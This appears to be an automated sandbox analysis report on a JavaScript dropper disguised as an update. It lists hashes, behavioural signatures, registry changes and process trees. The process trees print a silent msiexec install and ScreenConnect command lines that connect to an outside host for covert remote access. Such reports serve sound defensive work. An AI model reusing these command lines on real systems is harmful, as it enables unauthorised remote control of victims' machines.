Analysis
- max time kernel
148s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/08/2026, 06:11
Static task
static1
Behavioral task
behavioral1
Sample
Update-a1b7285cfc96.js
Resource
win10v2004-20260513-en
windows10-2004-x64
16 signatures
150 seconds
General
- Target Update-a1b7285cfc96.js
- Size 2.4MB
- Sample260822-gxramsec94
- SHA256 6001a40ad15ff9c33efa789d3dfe15bca4d015e107528666a78ce9fddf478b68
- MD5 cb93fc50ccbc1077fe1f44a61c02bf90
- SHA1 55b1298dd0e4d40a438fef22162ba07110b5edd7
- SHA512 2f5e1bcd06df58df05d247812e56749f894c97cf245d40c89d4d3b2b45032403060c96b28e205a1bc16d62b1654c44137139942ae6408d5a579e214ddc398190
- SSDEEP 24576:CFJl/aljv6DXmG546JQXJv+60La9ThYW+ZY1Jn0WPTpj05xvDWAem6FqJjOcR5+S:MRc6LXSJv+6jxnPTFW6FqJK2+QoS
- TLSH T156B5F20CCA5679AA0EBE31500BCF08D79F861AB0C8DCD55C24C6F925AAFFE8C9D59531
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Executes dropped EXE 6 IoCs
pid Process 1600 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 6012 ScreenConnect.WindowsClient.exe 1140 ScreenConnect.WindowsClient.exe 3976 ScreenConnect.WindowsClient.exe - Loads dropped DLL 47 IoCs
pid Process 1648 MsiExec.exe 4888 rundll32.exe 4888 rundll32.exe 4888 rundll32.exe 4888 rundll32.exe 4888 rundll32.exe 4888 rundll32.exe 4888 rundll32.exe 1648 MsiExec.exe 1648 MsiExec.exe 1648 MsiExec.exe 5840 MsiExec.exe 5840 MsiExec.exe 5768 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 5768 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe - Drops file in Program Files directory 12 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Client.dll msiexec.exe - Drops file in Windows directory 25 IoCs
description ioc Process File created C:\Windows\SystemTemp\~DF302657904D4CBD97.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIF5B7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF88A.tmp msiexec.exe File created C:\Windows\Installer\e58ef6c.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIF0C4.tmp-\CustomAction.config rundll32.exe File created C:\Windows\Installer\SourceHash{640D8A05-15B2-4EB5-9410-6ABAD06B9E1C} msiexec.exe File opened for modification C:\Windows\Installer\MSIF5A7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF645.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF79F.tmp msiexec.exe File created C:\Windows\Installer\{640D8A05-15B2-4EB5-9410-6ABAD06B9E1C}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\e58ef6c.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF0C4.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIF684.tmp msiexec.exe File opened for modification C:\Windows\Installer\{640D8A05-15B2-4EB5-9410-6ABAD06B9E1C}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DF603C32716346FE0C.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF3DB7CB9E7241723F.TMP msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFB1154B1E66257C51.TMP msiexec.exe File created C:\Windows\Installer\wix{640D8A05-15B2-4EB5-9410-6ABAD06B9E1C}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\e58ef70.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF0C4.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF0C4.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIF0C4.tmp-\ScreenConnect.Core.dll rundll32.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 19 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe - Modifies registry class 32 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-0ad06670a691ca1d\shell msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-0ad06670a691ca1d\shell\open msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-0ad06670a691ca1d\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-0ad06670a691ca1d\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\50A8D0462B515BE44901A6AB0DB6E9C1 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\ProductIcon = "C:\\Windows\\Installer\\{640D8A05-15B2-4EB5-9410-6ABAD06B9E1C}\\DefaultIcon" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C35499C1F07FF2EEA00D66076A19ACD1\50A8D0462B515BE44901A6AB0DB6E9C1 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-0ad06670a691ca1d\UseOriginalUrlEncoding = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\SourceList\PackageName = "NewUp.ClientSetup.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\PackageCode = "B211B56D300F938468CE362C8E734B84" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-0ad06670a691ca1d msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-0ad06670a691ca1d\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\50A8D0462B515BE44901A6AB0DB6E9C1\Full msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\ProductName = "ScreenConnect Client (0ad06670a691ca1d)" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C35499C1F07FF2EEA00D66076A19ACD1 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-0ad06670a691ca1d msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\Version = "319120814" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\50A8D0462B515BE44901A6AB0DB6E9C1\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-0ad06670a691ca1d\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (0ad06670a691ca1d)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 2960 msiexec.exe 2960 msiexec.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 5256 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe 1600 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4512 msiexec.exe Token: SeIncreaseQuotaPrivilege 4512 msiexec.exe Token: SeSecurityPrivilege 2960 msiexec.exe Token: SeCreateTokenPrivilege 4512 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4512 msiexec.exe Token: SeLockMemoryPrivilege 4512 msiexec.exe Token: SeIncreaseQuotaPrivilege 4512 msiexec.exe Token: SeMachineAccountPrivilege 4512 msiexec.exe Token: SeTcbPrivilege 4512 msiexec.exe Token: SeSecurityPrivilege 4512 msiexec.exe Token: SeTakeOwnershipPrivilege 4512 msiexec.exe Token: SeLoadDriverPrivilege 4512 msiexec.exe Token: SeSystemProfilePrivilege 4512 msiexec.exe Token: SeSystemtimePrivilege 4512 msiexec.exe Token: SeProfSingleProcessPrivilege 4512 msiexec.exe Token: SeIncBasePriorityPrivilege 4512 msiexec.exe Token: SeCreatePagefilePrivilege 4512 msiexec.exe Token: SeCreatePermanentPrivilege 4512 msiexec.exe Token: SeBackupPrivilege 4512 msiexec.exe Token: SeRestorePrivilege 4512 msiexec.exe Token: SeShutdownPrivilege 4512 msiexec.exe Token: SeDebugPrivilege 4512 msiexec.exe Token: SeAuditPrivilege 4512 msiexec.exe Token: SeSystemEnvironmentPrivilege 4512 msiexec.exe Token: SeChangeNotifyPrivilege 4512 msiexec.exe Token: SeRemoteShutdownPrivilege 4512 msiexec.exe Token: SeUndockPrivilege 4512 msiexec.exe Token: SeSyncAgentPrivilege 4512 msiexec.exe Token: SeEnableDelegationPrivilege 4512 msiexec.exe Token: SeManageVolumePrivilege 4512 msiexec.exe Token: SeImpersonatePrivilege 4512 msiexec.exe Token: SeCreateGlobalPrivilege 4512 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeShutdownPrivilege 5840 MsiExec.exe Token: SeDebugPrivilege 1600 ScreenConnect.ClientService.exe Token: SeDebugPrivilege 5256 ScreenConnect.ClientService.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe Token: SeTakeOwnershipPrivilege 2960 msiexec.exe Token: SeRestorePrivilege 2960 msiexec.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 4512 msiexec.exe 2960 msiexec.exe 1648 MsiExec.exe 5840 MsiExec.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4128 wrote to memory of 4512 4128 wscript.exe 89 PID 2960 wrote to memory of 1648 2960 msiexec.exe 91 PID 1648 wrote to memory of 4888 1648 MsiExec.exe 92 PID 2960 wrote to memory of 5840 2960 msiexec.exe 93 PID 1600 wrote to memory of 6012 1600 ScreenConnect.ClientService.exe 98 PID 5256 wrote to memory of 1140 5256 ScreenConnect.ClientService.exe 99 PID 1600 wrote to memory of 3976 1600 ScreenConnect.ClientService.exe 100
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update-a1b7285cfc96.js1⤵
- Suspicious use of WriteProcessMemory
PID:4128 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\NewUp.ClientSetup.msi" /qn /norestart2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4512
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding EBE18E558D9B7EA7E5EA429500D8ED262⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIF0C4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240710078 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:4888
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F1E42840F157EBF49795D07F15A754B0 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5840
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C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=d8a25e6e-e587-4470-b0e7-c8b17a577f7f&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4Qm%2bJTtb1UObhg2VTi1LC7b4xXxhkqKL7S%2fN6I%2bD2%2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgX%2bj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahq%2bcPR8t%2bTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6%2feRtguRPckaLSzk4RQjfvGUN997l%2ffF4Et2e4ygBJhyEZPO&t=&c=NewBoy&c=NewBoy&c=&c=&c=&c=&c=&c="1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "b1b9e9d7-78ce-41ed-b450-31d20ce498c2" "User"2⤵
- Executes dropped EXE
PID:6012
-
-
C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "c14436bf-9e4b-4186-b33d-71b461eb47a4" "System"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:3976
-
-
C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=d8a25e6e-e587-4470-b0e7-c8b17a577f7f&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4QmbJTtb1UObhg2VTi1LC7b4xXxhkqKL7SfN6IbD2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgXbj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahqbcPR8tbTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6feRtguRPckaLSzk4RQjfvGUN997lffF4Et2e4ygBJhyEZPO&t=&c=NewBoy&c=NewBoy&c=&c=&c=&c=&c=&c="1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5768
-
C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=d8a25e6e-e587-4470-b0e7-c8b17a577f7f&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4QmbJTtb1UObhg2VTi1LC7b4xXxhkqKL7SfN6IbD2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgXbj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahqbcPR8tbTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6feRtguRPckaLSzk4RQjfvGUN997lffF4Et2e4ygBJhyEZPO&t=&c=NewBoy&c=NewBoy&c=&c=&c=&c=&c=&c="1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5256 -
C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "566b0c97-5193-47d2-92f9-162a16156a95" "User"2⤵
- Executes dropped EXE
PID:1140
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Config.Msi\e58ef6f.rbs
- Size 212KB
- SHA256 85fc3805296646bb3455ee23cc2219ee2652ed5806ff35f45e983d86347894ce
- MD5 3ecacbca20008b35e80b4c787b911645
- SHA1 99f8c7cf15feeaec10de338d429dd469fc73bbac
- SHA512 aff801aa7a62b658deefa9464ae660125474637aae378f9fca7430f70287353e564cfa26b2a51967fbaecf5fcbebc28a890912ae61165b93ec774338d03ef064
- SSDEEP 3072:WC9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGm:WCuH2aCGw1ST1wQLdqvm
- TLSH T1BD248D227084807EE7FA1A32D93F9A61BE7DF6240760C59E83848C1E5D604D16BF7B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Client.dll
- Size 146KB
- SHA256 49e4ee62deec4d4aee96a4ba44d05d9bf2d0a9933160620f6d24e54e309bfb60
- MD5 890e5b240127e962c8d68ea817d5f320
- SHA1 c52573dd3ce581639a72bcfaecb855cae77a4223
